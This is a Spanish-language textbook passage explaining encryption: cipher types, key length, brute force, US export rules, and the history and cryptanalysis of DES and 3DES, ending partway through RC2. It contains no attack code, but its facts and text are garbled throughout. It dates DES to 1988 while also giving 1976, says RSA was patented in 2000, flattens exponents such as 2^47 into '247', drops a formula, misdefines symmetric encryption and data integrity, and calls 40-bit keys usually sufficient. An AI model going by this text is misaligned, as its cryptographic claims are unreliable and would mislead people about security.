La información que no es encriptada es llamada texto plano. usted puede encriptar el texto plano dentro de un texto cifrado usando una clave de encriptación. El algoritmo que usted usa para encriptar el texto es llamado cifra. La clave de desencriptar es usada para desencriptar los textos cifrados a texto plano. La llave de encriptación es mantenida en secreto así solo aquellos quienes tienen la llave pueden encriptar y desencriptar el mensaje. En sistemas simétricos, la misma llave es usada para la encriptación y desencriptación. La idea completa de encriptación es que debe de ser difícil o casi imposible desencriptar un mensaje sin la clave de encriptación. En criptografías modernas, esto se hace usando un algoritmo matemático complejo.

La mayoría de los algoritmos de encriptación son bloques de cifras. Esto significa que trabaja usando un bloque de datos a la vez. El tamaño de este bloque típicamente es de 8 bytes o 64 bytes. Otros algoritmos son llamados flujo de bits. Estos trabajan un bit o byte de un dato a la vez. El cifrado de flujo es mas conveniente para convertir datos sobre la marcha. Los bloques de cifras pueden ser hechos para trabajar como flujo de bits usando un proceso llamado encadenamiento. El resultado del bloque anterior es mezclado para codificar cada bloque sucesivamente.

La fuerza de los métodos de encriptación son a menudo medidos por la fuerza de la llave. La fuerza de la llave describe que tan grande es la llave que es usada para codificar y decodificar los datos y su medida en bits. Típicamente la fuerza de una llave esta alcanzando desde los 40 bits hasta los 1024 bits. Mientras mas grande el número de bits, mas difícil es romper el cifrado usando fuerza bruta como ataque. En un ataque de fuerza bruta, se intenta con cada clave posible. Por lo tanto, si usted incrementa la fuerza de la clave, usted incrementa el número de claves que necesita para ser accesado. Para la mayoría de los algoritmos, incrementando la fuerza de la clave por 1 bit, es doble la cantidad de tiempo que tienen que durar intentando encontrar la llave. Note que la comparación de las fuerzas de las llaves entre los diferentes algoritmos de encriptación no son validos por que cada algoritmo toma una cantidad de tiempo diferente y un método diferente de ataque.

Hay otras maneras de atacar un cifrado ademas del uso la fuerza bruta. El Criptoanálisis usa la matemática para tratar de encontrar una manera fácil de obtener el texto plano de un mensaje encriptado. Este ataque también llamado ataque al algoritmo o al cifrado, a diferencia del ataque de fuerza bruta que solo trata de encontrar la clave particular. La mayoría de los algoritmos de encriptación mas comunes han resistido el análisis críptico, pero en algunos se ha encontrado que si tienen vulnerabilidades. Otro método de ataque es atacando los elementos de soporte de un sistema de encriptación, como por ejemplo los ataques mas exitosos se dirigen al generador de número pseudo-aleatorio.

Los números aleatorios son usados para generar las llaves para encriptar. Si el generador de números aleatorios no es suficientemente aleatorio, un atacante puede estrechar el espacio de las posibles claves solo para aquellas llaves que el generador de números aleatorios pueda seleccionar.

Existen muchos algoritmos de encriptación diferentes disponibles. El mas común probablemente es el DES, que por sus siglas en ingles es “Estándar de la Encriptación de los Datos” del gobierno de los Estados Unidos desarrollado en el 1988. Este ya empezando a demostrar debilidades por su edad y un proyecto mas reciente ha seleccionado a sus sucesor, el “Algoritmo de Encriptación Avanzada” (AES). Otros algoritmos son también comunes. El mas popular probablemente es Blowfish, el cual es mas rápido que DES y también libre de patentes y derecho de autor.

Categorías de Encriptación

Se puede realizar la encriptación en muchos tipos de datos diferentes, por ejemplo si es texto, se puede en uno o mas bloque de datos, presentando estos inalcanzables o encriptados a los que no poseen la llave. Un simple documento puede ser dividido en bloque de datos, cada uno cifrado alternadamente, y esto puede realizarse en la red o al nivel del documento. Al nivel del documento, la encriptación toma un archivo de texto plano fácil de leer para seres humanos y lo transforma en un texto ya cifrado. La única manera de que alguien pueda leer este texto es obteniendo acceso a la llave que fue usada para transformar el texto de uno plano a uno cifrado o desencriptar el texto usando el método de la fuerza bruta. Un ataque de fuerza bruta en un mensaje encriptado son intentos secuenciales de tratar de desencriptar el mensaje, tratando todas las combinaciones posible para determinar la llave de encriptación, una tarea que consume mucho tiempo. Por que el Internet es una red abierta, la encriptación se ha vuelto importante no solo para los emails, sino también para toda la

comunicación en la red. El concepto principal a recordar cuando hablamos de encriptación es que la encriptación usa un algoritmo matemático para hacer revoltijo de sus datos, de tal forma que el mensaje sea presentando sin sentido para cualquiera si no posee la llave de desencriptar correcta.

Usted deba haber escuchado de las diferentes maneras de encriptar un archivo, el uso de algoritmos como el DES, el Rivest, Shamir y Adleman (RSA), y el Message Digest 5 (MD5), son algunos muy populares. Cada uno de esos diferentes métodos son un ejemplo de las tres principales categorías de encriptación:

• Simétrica

Este encripta los datos usando una cadena de texto. Esta llave tanto encripta como desencripta un archivo. Una llave simétrica es también llamada llave secreta porque la misma llave es usada tanto para el encriptado como el desencriptado de los datos y si la llave es comprometida, el dato sera desencriptado fácilmente.

• Asimétrico

Este encripta los datos usando un par de llaves. Cada mitad del par es relacionado al otro, aunque es difícil de analizar (no imposible) la llave publica y derivar la llave privada. Lo que una mitad encripta, la otra mitad desencripta y viceversa. Otro nombre para la encriptación asimétrica es criptografía de llave publica.

• Encriptación de hash

Encripta los datos usando una ecuación matemática llamada una función de hash que (teóricamente) desplegá la información y así esta puede ser recuperada. Puesto de otra manera, esta forma de encriptación, simplemente crea un código hash, el cual se toma del mensaje y crea una representación de una longitud fija del mensaje, al momento de querer recuperar el mensaje necesita el mensaje y el hash, ya que del hash solo no puede recuperar el mensaje. Por la inhabilidad de poder recuperar el dato original de un dato hash, la función hash es algunas veces llamada función de una sola vía. Veremos lo útil que son estas categorías de encriptación a través de este libro.

Métodos de Aplicación

Otro manera de clasificar los tipos de encriptación es en como estos son aplicados. Tanto la encriptación simétrica como la asimétrica puede ser aplicada como un bloque o flujo de bits.

Cifrado de Bloques

Un cifrado de bloques transforma un bloque de longitud fija de texto plano a uno de texto cifrado de la misma longitud. Esta transformación toma lugar usando la clave secreta provista al usuario. La desencriptación es realizada por la aplicación que re-transforma de forma inversa al bloque de texto cifrado usando la llave de desencriptar apropiada a texto plano nuevamente. La longitud fija es llamada tamaño de bloque y para muchas cifras de bloques el tamaño de bloque es de 64 bits, aunque esto puede variar. Este es el proceso frecuentemente mas aplicado a los archivos individuales o mensajes de email, los cuales son todos los datos de una longitud determinada. Mientras mas datos a de ser encriptado, mas tiempo durara el proceso de encriptación.

Un cifrado de bloque es aplicado a un pedazo de datos o a un bloque. Si el dato a ser encriptado es mas grande que la longitud del bloque, el proceso es repetido en pedazos de datos hasta que el grupo completo de datos sea encriptado. Con la mayoría de los algoritmos que realizan un cifrado de bloque, el orden del cifrado de bloque es luego mezclado. Desde que diferentes textos planos de bloques son mapeados a diferentes bloques de texto cifrado (para permitir una desencriptación única), un bloque cifrado efectivamente provee una permutación de un grupo de todos los posibles mensajes. La permutación afectada a cualquier encriptación en particular es secreta, por esto es una función de clave secreta.

Cifrados de Flujo

Genera lo que es llamado un llave de flujo, y la encriptación es provista combinando los flujos claves con el texto plano, usualmente con la operación Exclusive OR (XOR). La generación del flujo clave puede ser independiente de un texto plano y texto cifrado o esto puede depender en el dato y su encriptación.

Las mayoría de los diseños de los cifradores de flujo son para un flujo de datos sincrónicos. Este tipo de encriptación es mas común en el Equipo de Comunicación de Datos, los cuales pueden ser usados para encriptar todos los tráficos de red en la marcha para la conexión o algún ancho de banda especificado. El poder de procesamiento necesario para realizar una encriptación flujo de datos variara dependiendo de la fuerza y el ancho de banda de flujo de datos; pero debido a la naturaleza simple de la operación, el poder de procesamiento es generalmente mínimo con respecto a la creación de flujo de datos encriptados, pero mas recursos son consumidor por la generación de los flujos claves.

Una cifra de flujo es un algoritmo de encriptación simétrica, o clave sencilla. Los cifrados de flujo puede ser diseñada para ser excepcionalmente mas rápido, en hecho, que cualquier cifra de bloque. Mientras que los cifrados de bloque operan en grandes bloques de datos, los cifrados de flujo operan típicamente en pequeñas unidades de texto plano, usualmente bits. La encriptación de cualquier texto plano en particular con un cifrado de bloque resultaría en el mismo cifrado de texto cuando la misma clave es usada. Con un cifrado de flujo, la transformación de esos pequeñas unidades de texto plano variara, dependiendo en donde son encontradas durante el proceso de encriptación.

Relleno de Datos

Es el proceso de agregar simulaciones, información al azar al final de un mensaje para encubrir el punto final de los datos que han sido encriptados. Por ejemplo, un mensaje de 1,330 bytes puede ser encriptado con un cifrado de bloque que encripta el mensaje en bloques de 128 bytes. Después de 10 bloques (1,280 bytes), solo se olvidarían 50 bytes. Mas bien que enviando un bloque encriptado de solo 50 byte, el bloque de datos de 50 byte sera rellenado con una longitud de 128 bytes, luego es encriptado y enviado.

El bloque de datos mas pequeño introduciría una vulnerabilidad al mensaje completo debido a su pequeño tamaño. Un proceso similar podría ocurrir con un cifrado de flujo, efectivamente llenando cualquier ancho de banda no usado en una conexión encriptada con relleno, o un ruido encriptado al azar, para encubrir la cantidad de frecuencia de datos a ser transmitida.

¿Qué Provee la Encriptación?

La encriptación hace que los datos sean ilegibles, como texto cifrado, pero de tal manera que la información original puede ser extraída del texto cifrado desencriptando con la clave. Tanto la encriptación como la desencriptación son procesos intensivos de computo y pueden tomar una significante cantidad de tiempo en incurrir alta utilización de recurso durante la encriptación y la desencriptación. La encriptación puede ser usada para habilitar los cuatros servicios mostrados a continuación:

• Confidencialidad de los Datos

Esta es la razón mas común para usar encriptación. A través de cuidadosas aplicaciones de formulas matemáticas, usted puede asegurar que solo el recipiente provisto de información puede ser visto. Con la encriptación de llaves publicas, el recipiente provisto es el único que puede desencriptar la información, de tal modo así ser el único que pueda leer la información.

• Integridad de los Datos

La integridad de los datos es insuficiente para la mayoría de las necesidades de seguridad. Los datos pueden todavía ser ilícitamente descifrado y modificado mientras esta almacenado o mientras pasa a través de los cables de la red. Las formulas matemáticas llamadas funciones hash existen para ayudar a determinar si los datos han

sido modificados.

• Autentificación

Las firmas digitales proveen servicio de autentificación. Las firmas digitales usan la misma formula que proveen confidencialidad de los datos, pero de una manera diferente. Las firmas ayudan a probar que el origen o emisor de la información de hecho es quien dice ser.

Las firmas digitales le permiten a los usuarios probar que el intercambio de una información esta ocurriendo actualmente. Organizaciones financieras especialmente confían en esta faceta de criptografía para la transferencia electrónica de fondos.

Cada una de esas funciones juegan un rol distinto en computación, pero todos confían en el mismo mecanismo subyacente de criptografía. Existen un numero de conceptos claves cuando se trata de encriptación. Esto serán explicado a continuación:

• Encriptación:

Es el proceso mediante el cual una rutina es codificada de tal manera que no pueda ser interpretada fácilmente. Es una medida de seguridad utilizada para que al momento de transmitir la información ésta no pueda ser interceptada por intrusos. Existe además un proceso de desencriptación a través del cuál la información puede ser interpretada una vez que llega a su lugar de origen.

• Autentificación:

Establece la identidad de los participantes usando los principios de autentificación (quien eres, que tienes, donde estas, que sabes)

• Contraseña:

Una cadena de caracteres usados en conjunto con un ID de usuario para identificar y autentificar un individuo.

• Llave (clave):

Una cadena binaria usada para encriptar y desencriptar información.

• Encriptación de Llave Simétrica:

Un mecanismo de iniciar y asegurar el paso de una llave de encriptación a través de una red no confiable.

• Encriptación de Llave Asimétrica o Llave Publica:

Un método de encriptación que usa dos llaves, la privada y la publica; un dato encriptado con una llave debe ser desencriptado por la otra llave.

• Integridad de Mensajes por firmas y marcas de hash:

Usa un algoritmo de una manera para generar un valor hash que es único; asegura que el mensaje o el dato no ha sido forzado después de que ha sido enviado; las entidades y los individuos firman los mensajes, software, applets de Java y otros ítemes; las firmas pueden ser verificadas y remontado a las autoridades de certificados.

• Certificados:

ID digitales para probar la identidad de los participantes; usualmente esta en en el código hash.

Fuerza de la Encriptación

Un aspecto muy discutido y frecuentemente mal entendido de la criptografía es la fuerza de la encriptación. Algunas preguntas claves son las siguientes:

- ¿Qué constituye una encriptación fuerte?
- ¿Por qué esta ha sido prohibida por los Estados Unidos?
- ¿Qué nivel de encriptación es requerido para varias necesidades de seguridad?
- ¿Cómo usted determina la fuerza efectiva de diferentes tipos de encriptación?

La fuerza de la encriptación esta basada en los tres factores primarios. El primero es la fuerza del algoritmo, el cual incluye factores como la imposibilidad de matemáticamente retornar la información con cualquier cosa que no sea tratar todas las combinaciones de claves posibles. Para nuestro propósito, confiaremos en los algoritmos estándares de las industrias que han sido probadas y tratadas a través del tiempo por los expertos en criptografía. Cualquier formula nueva o propietaria debe ser vista con significante desconfianza hasta que haya sido verificada comercialmente.

El segundo factor es la seguridad de la clave, lógica pero una faceta pasada por alto. Ningún algoritmo puede protegerlo de claves comprometidas. Así, el grado de confidencialidad que permanecerá con el dato es directamente atado en que tan secreta resulta la clave. Recuerde diferenciar entre el algoritmo y la llave. El algoritmo no necesita ser secreto. Los datos ha ser encriptados son usados en conjunto con la clave, luego pasados a través del algoritmo de encriptación.

El tercera faceta, la longitud de la clave, es la mas conocida. En términos de encriptación y aplicación de formula de desencriptación, la longitud de la clave es determinada en bits. Agregando un bit a la longitud de la clave duplica el número de posibles claves. En términos simples, el número de posibles combinaciones de bit puede hacer que una clave de cualquier longitud sea expresada como 2(n), donde n es la longitud de la clave. Así, una formula de una clave de 40 bit de longitud seria 2(40), o 1,099,511,627,776 posibles claves diferentes. Para trabajar con estos números tan grande de posible claves, solo con la velocidad de los computadores modernos de hoy y la habilidad de los criptógrafos de poder distribuir el ataque de fuerza bruta a través de múltiples maquinas.

Aunque el número de posible claves es de hecho inmenso, computadores especializados pueden probar la mayoría de las combinaciones de las claves en menos de un día. En 1993, Michael Wiener diseño un computador especializado para romper DES, un algoritmo que usa una clave de 56 bit. Haciendo esto, el descubrió que el costo del diseño fue lineal. Tomando en cuenta el resultado y factorizando con las leyes de Moore, la cual tiene un estatuto que dice que el poder de computación se duplica cada 18 meses, entonces es posible llegar al valor real de poder romper encriptaciones de diferentes fuerzas.

Cuando una debilidad es encontrada en un algoritmo, las aplicaciones de romperla a menudo hacen una derivación de la información encriptada mas simple, acortando la cantidad de esfuerzo que es requerido para desencriptar un mensaje. Las debilidades en los algoritmos pueden existir pero hay mucho menos ahora que varias décadas atrás. Cuando la frase ataque con fuerza bruta es usado, significa que cada clave posible esta siendo intentada para desencriptar la información.

Procesamiento Paralelo y en Ronda

Una ronda es una parte discreta del proceso de encriptación. Algunos algoritmos someten la información a varias rondas, realizando el cifrado de encriptación múltiples veces. Es preferible un número alto de rondas. La mayoría de los algoritmos de clave simétrica rondan en el primer proceso la mitad del data no encriptado, luego procesan la segunda mitad. Luego, cada mitad es reprocesada para hacer que la encriptación resultante sea fuerte. Separando la información en rondas hace que las claves simétricas sean mas rápidas al aplicar. Cuando hablamos de encriptación, el procesamiento paralelo significa el uso de múltiples procesos, procesadores o maquinas para trabajar en crackiar un algoritmo de encriptación.

La Encriptación Fuerte y sus Leyes de Exportación (U.S.)

Al momento de escribir este capitulo, la encriptación fuerte implica el uso de claves mayor a los 1024 bits. Las nuevas tecnologías probablemente requerirán una nueva definición de encriptación fuerte. El gobierno de los Estados Unidos continua clasificando la encriptación usando que exceden los 40 bits como encriptación

fuerte. Desafiando las debilidades relativas de tales encriptaciones, clasificando este tipo de software como munición. Las compañías dentro de los Estados Unidos que desean exportar productos que usen una fuerte encriptación deben de primero obtener un permiso de un Departamento de Estado para hacerlo. El importe de estos productos, sin embargo, no esta regulado como una costumbre restricción en municiones aplicado solo a la exportación de tales conocimientos y dispositivos. Tal ha sido el caso, por ejemplo, con la versión internacional de la suite de encriptación Pretty Good Privacy (PGP). Aunque estas leyes han sido relajadas, muchas compañías y organizaciones indudablemente serán habitadas por estas, manteniendo solo el desarrollo internacional y manteniendo el software de encriptación para evitar posibles trampas con las leyes acostumbradas de los Estados Unidos.

Aunque las corporaciones y los gobiernos pueden ciertamente desafiar las encriptaciones de 40 bit con computadores modernos, la cantidad de esfuerzo involucrado a menudo excede el valor de la información. De hecho, un factor para decidir la longitud de la clave necesitada es el valor de la información que sera protegida. Aunque una clave de 40 bit no es siempre apropiada para transacciones financieras, usualmente es suficiente para las necesidades individuales y toma un tiempo o recursos significantes para romperlo rápidamente.

Al momento de escribir este capitulo, las regulaciones pertenecientes a la encriptación esta en experimento. Actualmente, cualquier uso de encriptaciones fuertes esta limitado en vista de como esta es usado y distribuido para sitios fuera de los Estados Unidos. En Enero del 2000, el gobierno de los Estados Unidos lanzo un nuevo proceso que permite la exportación de ciertos productos que usan fuertes encriptaciones. Este proceso requiere que el vendedor revele como el producto sera distribuido. La meta detrás de estos dos pasos es que el gobierno es E.U.A podrá rastrear el uso para todos gobiernos y usuarios de la encriptación. Hay mucha controversia sobre esta ley, y algunos cambios están ocurriendo que pueden permitir fuertes encriptaciones exportables en un futuro. Hasta eso, el acercamiento mas seguro es usar encriptaciones débil para cualquier aspecto de una implementación que puede cruzar las fronteras de los Estados Unidos.

También hay restricciones de patentas en algunos algoritmos de encriptación. Por ejemplo, en Septiembre del 2000 el cifrado RSA fue patentado en los Estados Unidos. Esto significa que cualquier uso de este algoritmo debe de ser licenciado. Muchas ciudades no reconocen esas patentes, de esta manera ellos usan el software utilizando esas patentes sin preocuparse sobre los temas de licencias.

Algoritmos de Encriptación

Cada algoritmo de encriptación usa una función matemática, como son la ECC por su siglas en ingles Criptografía de Curva Elíptica o también conocido como el logaritmo discreto en campos finitos, para crear un cifra que, apareada con una clave, encriptará o desencriptará información. El conocimiento solo de la cifra no permitirá la desencripción. Los algoritmos Simétricos, Asimétricos y de Hash serán discutidos en esta próxima sección y cubriremos los siguiente temas:

- Encriptación Simétrica Clave
- Algoritmo Simétrico
- Encriptación Asimétrica
- Hash
- Clave de Intercambio

Encriptación Simétrica Clave

En simétrica, o clave simple, una clave es usada para encriptar y desencriptará el mensaje. Aunque pensar que le encriptación de clave simple es un proceso sencillo, todas las partes deben de conocerse y confiar

completamente una con el otra y tener copias confidenciales de la clave. Alcanzando este nivel de confianza no es tan fácil como parece. En el momento en que las partes están tratando de crear confianza es cuanto un brecha de seguridad pudiese ocurrir. El primer momento de transmisión de una clave es crucial. Si esta transmisión es interceptada, el interceptor conocerá la clave, y el material confidencial no será protegido mas.

Un ejemplo de una clave simétrica es una contraseña simple que usted usa para accesar su ATM o la que usted use para ingresar a su Proveedor de Servicios de Internet (ISP).

Los beneficios de la encriptación simétrica es que es rápida y fuerte. Estas características le permiten encriptar una gran cantidad de información en segundos. La debilidad de una clave simétrica es la distribución de las claves. Eso es, todos los recipientes y visores deben tener la misma clave. Por lo tanto, todos los usuarios deben de tener una manera segura de enviar y retribuir las claves entre ellos.

Sin embargo, si los usuarios van a pasar información en un medio publico tal como por Internet, necesitan una manera de transferir esta clave entre cada uno. En algunos casos, los usuarios pueden reunir y transferir las claves físicamente. Sin embargo, dichas reuniones en persona no son siempre posibles.

Una solución puede ser enviar la clave vía email. Sin embargo, un mensaje puede ser interceptado fácilmente, por lo tanto venciendo el propósito de la la encriptación. Los usuarios no pueden encriptar emails conteniendo la llave por que entonces tendrían que compartir otra llave para encriptar y desencriptar el email que contiene la clave original. Este dilema hace que surja una interrogante, si la clave simétrica tiene que ser encriptada, entonces ¿por qué no usar el método que encripta la clave en primer lugar, así evitando usar dos encriptaciones? Una solución es usar una clave de encriptación asimétrica, un proceso que sera discutido mas adelante.

Todos los tipos de encriptación están sujeto a caducar. Una contramedida que puede reducir el daño de tener una clave asimétrica ya comprometida es cambiando su clave regularmente. Sin embargo, es a menudo difícil de cambiar las claves en un tiempo regular y es aún mas difícil informar a los otros de este cambio de contraseña, especialmente si a su organización pertenecen muchos usuarios.

Ademas de esta preocupación, los cracker pueden comprometer las claves simétricas aún con programas de diccionarios, prácticas de olfatear o sniffing de contraseñas, o robo físico en escritorio, oficinas, etc. La encriptación simétrica es probablemente derrotada mas a menudo por ataques de fuerza bruta que cualquier otro tipo de ataque. Estos tipos de ataques los discutiremos mas adelante.

Algoritmos Simétricos

Se aplican numerosos algoritmos matemáticos para efectuar encriptaciones simétricas. Entre estos algoritmos se incluyen los siguientes: DES, Triple DES (3DES) y el RSA: RC2, RC4, RC5, RC6, MARS, Twofish y Serpent.

Estándar de Encriptación de Datos (DES)

Los orígenes de DES se remontan a principios de los 70's. En 1972, tras terminar un estudio sobre las necesidades del gobierno en materia de seguridad informática, la Autoridad de Estándares Estadounidense, el NBS (National Bureau of Standards) ahora rebautizado con el nombre NIST (National Institute of Standards and Technology) concluyó en la necesidad de un estándar a nivel gubernamental para cifrar información confidencial. En consecuencia, el 15 de mayo de 1973, tras consultar con la NSA, el NBS solicitó propuestas para un algoritmo que cumpliera rigurosos criterios de diseño. A pesar de todo, ninguna de ellas parecía ser adecuada. Una segunda petición fue realizada el 27 de agosto de 1974. En aquella ocasión, IBM presentó un

candidato que fue considerado aceptable, un algoritmo desarrollado durante el periodo 1973–1974 basado en otro anterior, el algoritmo Lucifer de Horst Feistel. El equipo de IBM dedicado al diseño y análisis del algoritmo estaba formado por Feistel, Walter Tuchman, Don Coppersmith, Alan Conheim, Carl Meyer, Mike Matyas, Roy Adler, Edna Grossman, Bill Notz, Lynn Smith, y Bryant Tuckerman.

Data Encryption Standard (DES) es un algoritmo de encriptación, es decir, un método para encriptar información) escogido como FIPS en los Estados Unidos en 1976, y cuyo uso se ha propagado ampliamente por todo el mundo. El algoritmo fue controvertido al principio, con algunos elementos de diseño clasificados, una longitud de clave relativamente corta, y la continuas sospechas sobre la existencia de alguna puerta trasera para la National Security Agency (NSA). Posteriormente DES fue sometido a un intenso análisis académico y motivó el concepto moderno del cifrado por bloques y su criptoanálisis.

Hoy en día, DES se considera inseguro para muchas aplicaciones. Ésto se debe principalmente a que el tamaño de clave de 56 bits es corto; las claves de DES se han roto en menos de 24 horas. Existen también resultados analíticos que demuestran debilidades teóricas en su cifrado, aunque son inviables en la práctica. Se cree que el algoritmo es seguro en la práctica en su variante de Triple DES, aunque existan ataques teóricos.

Desde hace algunos años, el algoritmo ha sido superado por AES (Advanced Encryption Standard). En algunas ocasiones, DES es denominado también DEA (Data Encryption Algorithm).

DES es el algoritmo prototipo del cifrado de bloque, un algoritmo que toma un texto plano de una longitud fija de bits y lo transforma mediante una serie de complicadas operaciones en otro texto cifrado de la misma longitud. En el caso de DES el tamaño del bloque es de 64 bits. DES utiliza también una clave criptográfica para modificar la transformación, de modo que el descifrado sólo puede ser realizado por aquellos que conozcan la clave concreta utilizada en el cifrado. La clave mide 64 bits, aunque en realidad, sólo 56 de ellos son empleados por el algoritmo. Los ocho bits restantes se utilizan únicamente para comprobar la paridad, y después son descartados. Por tanto, la longitud de clave efectiva en DES es de 56 bits, y así es como se suele especificar.

Al igual que otros cifrados de bloque, DES debe ser utilizado en el modo de operación de cifrado de bloque y si se aplica a un mensaje mayor de 64 bits. FIPS-81 especifica varios modos para el uso con DES, incluyendo uno para autenticación.

Seguridad y Criptoanálisis

Aunque se ha publicado más información sobre el criptoanálisis de DES que de ningún otro cifrado de bloque, el ataque más práctico a día de hoy sigue siendo por fuerza bruta. Se conocen varias propiedades criptoanalíticas menores, y son posibles tres tipos de ataques teóricos que, aún requiriendo una complejidad teórica menor que un ataque por fuerza bruta, requieren una cantidad irreal de textos planos conocidos o escogidos para llevarse a cabo, y no se tienen en cuenta en la práctica.

Ataque por Fuerza Bruta

Para un ataque por fuerza bruta, a cualquier tipo de encriptado, el método de ataque mas simple es el probando una por una cada clave posible. La longitud de clave determina el número posible de claves, y por tanto la factibilidad del ataque. En el caso de DES, ya en sus comienzos se plantearon cuestiones sobre su longitud de clave, incluso antes de ser adoptado como estándar, y fue su reducido tamaño de clave, más que el criptoanálisis teórico, el que provocó la necesidad de reemplazarlo. Se sabe que la NSA animó, o incluso persuadió a IBM para que redujera el tamaño de clave de 128 bits a 64, y de ahí a 56 bits; con frecuencia esto se ha interpretado como una evidencia de que la NSA poseía suficiente capacidad de computación para romper claves de éste tamaño incluso a mediados de los 70.

Académicamente, se adelantaron varias propuestas de una máquina para romper DES. En 1977, Diffie y Hellman propusieron una maquina con un coste estimado de 20 millones de dólares que podría encontrar una clave DES en un sólo día. Hacia 1993, Wiener propuso una maquina de búsqueda de claves con un coste de un millón de dólares que encontraría una clave en 7 horas. La vulnerabilidad de DES fue demostrada en la práctica en 1998 cuando la Electronic Frontier Foundation (EFF), un grupo dedicado a los derechos civiles en el ciberespacio, construyó una máquina a medida para romper DES, con un coste aproximado de 250000 dólares (googleé EFF DES cracker). Su motivación era demostrar que se podía romper DES tanto en la teoría como en la práctica: "Hay mucha gente que no creerá una verdad hasta que puedan verla con sus propios ojos.

Mostrarles una máquina física que pueda romper DES en unos pocos días es la única manera de convencer a algunas personas de que realmente no pueden confiar su seguridad a DES." La máquina rompió una clave por fuerza bruta en una búsqueda que duró poco más de 2 días; Más o menos al mismo tiempo, un abogado del Departamento de Justicia de los Estados Unidos proclamaba que DES era irrompible.

Ataques más rápidos que la Fuerza Bruta

Existen tres ataques conocidos que pueden romper las dieciséis rondas completas de DES con menos complejidad que un ataque por fuerza bruta: el criptoanálisis diferencial (CD), el criptoanálisis lineal (CL) y el ataque de Davies. De todas maneras, éstos ataques son sólo teóricos y no es posible llevarlos a la práctica; éste tipo de ataques se denominan a veces debilidades de certificaciones.

• El Criptoanálisis Diferencial (CD)

Fue descubierto a finales de los 80 por Eli Biham y Adi Shamir, aunque era conocido anteriormente tanto por la NSA como por IBM y mantenido en secreto. Para romper las 16 rondas completas, el criptoanálisis diferencial requiere 247 textos planos escogidos. DES fue diseñado para ser resistente al CD.

• El Criptoanálisis Lineal (CL)

Fue descubierto por Mitsuru Matsui, y necesita 243 textos planos escogidos(Matsui, 1993); el método fue implementado (Matsui, 1994), y fue el primer criptoanálisis experimental de DES que se dio a conocer. No hay evidencias de que DES fuese adaptado para ser resistente a este tipo de ataque. Una generalización del CL, el criptoanálisis lineal múltiple, se propuso en 1994 Kaliski and Robshaw), y fue mejorada por Biryukov y otros (2004); su análisis sugiere que se podrían utilizar múltiples aproximaciones lineales para reducir los requisitos de datos del ataque en al menos un factor de 4 (es decir, 241 en lugar de 243). Una reducción similar en la complejidad de datos puede obtenerse con una variante del criptoanálisis lineal de textos planos escogidos (Knudsen y Mathiassen, 2000). Junod (2001) realizó varios experimentos para determinar la complejidad real del criptoanálisis lineal, y descubrió que era algo más rápido de lo predicho, requiriendo un tiempo equivalente a 239–241 comprobaciones en DES.

• El ataque mejorado de Davies:

Mientras que el análisis lineal y diferencial son técnicas generales y pueden aplicarse a multitud de esquemas diferentes, el ataque de Davies es una técnica especializada para DES. Propuesta por vez primera por Davies en los 80, y mejorada por by Biham and Biryukov (1997). La forma más potente del ataque requiere 250 textos planos escogidos, tiene una complejidad computacional de 250, y tiene un 51% de probabilidad de éxito.

Existen también ataques pensados para versiones del algoritmo con menos rondas, es decir versiones de DES con menos de dieciséis rondas. Dichos análisis ofrecen una perspectiva sobre cuantas rondas son necesarias para conseguir seguridad, y cuánto «margen de seguridad» proporciona la versión completa. El criptoanálisis diferencial-lineal fue propuesto por Langford y Hellman en 1994, y combina criptoanálisis diferencial y lineal en un mismo ataque. Una versión mejorada del ataque puede romper un DES de 9 rondas con 215.8 textos planos conocidos y tiene una complejidad temporal de 229.2 (Biham y otros, 2002).

Propiedades Criptoanalíticas

DES presenta la propiedad complementaria, dado que donde es el complemento de bit de x. EK es el cifrado con la clave K. P y C son el texto plano y el texto cifrado respectivamente. La propiedad complementaria implica que el factor de trabajo para un ataque por fuerza bruta se podría reducir en un factor de 2 (o de un único bit) asumiendo un ataque con texto plano escogido.

DES posee también cuatro claves débiles. El cifrado (E) y el descifrado (D) con una clave débil tienen el mismo efecto (véase involución):

EK(EK(P)) = P o lo que es lo mismo, EK = DK. Hay también seis pares de claves semi-débiles. El cifrado con una de las claves de un par de claves semi-débiles, K1, funciona de la misma manera que el descifrado con la otra, K2.

Es bastante fácil evitar las claves débiles y las semi-débiles en la implementación, ya sea probándolas explícitamente, o simplemente escogiéndolas de forma aleatoria; las probabilidades de coger una clave débil o semi-débil son despreciables.

Se ha demostrado también que DES no tiene estructura de grupo, o más concretamente, el conjunto {EK} (para todas las claves posibles K) no es un grupo, ni siquiera está “cerca” de ser un grupo (Campbell y Wiener, 1992). Ésta fue una interrogante abierta durante algún tiempo, y si se hubiese dado el caso, hubiera sido posible romper DES, y las modalidades de cifrado múltiple como Triple DES no hubiesen incrementado la seguridad.

Triple DES (3DES)

El DES normal usa una clave de 56 bit y es considerado suficiente para informaciones normales. Para información sensible, algunos usuarios emplean una técnica llamada 3DES. En este caso, el mensaje es primero encriptado usando una clave DES de 56 bits. Así, 3DES efectivamente tiene una clave de 168 bits. Por los varios niveles de encriptación, 3DES también frustra el ataque “hombre de por medio”. El DES normal es rápido, 3DES es mas rápido que otros algoritmos simétricos. La mejor ventaja de 3DES es su habilidad de usar los software y hardware ya existentes. Las compañías con grandes inversiones en el algoritmo de encriptación DES pueden implementar fácilmente 3DES.

Algoritmo Simétrico creado por la Corporación de Seguridad RSA

Ron Rivest, Adi Shamir y Leonar Adleman inventaron su sistema clave de encriptación en 1977 y nombrado con la primeras letras de sus apellidos. Después de este, la RSA ha inventado o desarrollado otros algoritmos mas. Los algoritmos RSA son usados en varios sistemas operativos y programas.

La compañía Seguridad RSA es una de las mejores conocidas y mas efectivas en el campo de la criptografía. Las tecnologías RSA son incluidas en estándares existen y propuestos para Internet y el World Wide Web. El sito Web RSA contiene mucha información sobre criptografía y seguridad. Este libro solo puede discutir pocas de las contribuciones del algoritmo RSA. RSA es mejor conocido por su algoritmo de encriptación asimétrica y es llamado RSA. No confunda algoritmos simétricos creados por el RSA (RC2 y RC4) por el algoritmo asimétrico llamado RSA.

Los Cifrados Rivest 2 (RC2) y 4 (RC4) son de los algoritmos simétricos claves mas usados en aplicaciones. Ellos pueden usar una clave de longitud variable sobre los 128 bits en los Estados Unidos. Internacionalmente, RC2 y RC4 pueden ser exportados desde los Estados Unidos con claves sobre los 40 bit.

RC2 y RC5

RC2 desarrollado por Rivest, y soportado por el cifrado Rivest 2. Este cifrado de modo bloque, que encripta los mensajes en bloque de 64 bit a la vez. Por ser de clave de longitud variable, este puede trabajar con una longitud clave desde cero hasta infinito, y la velocidad de encriptación es independiente del tamaño de la clave.

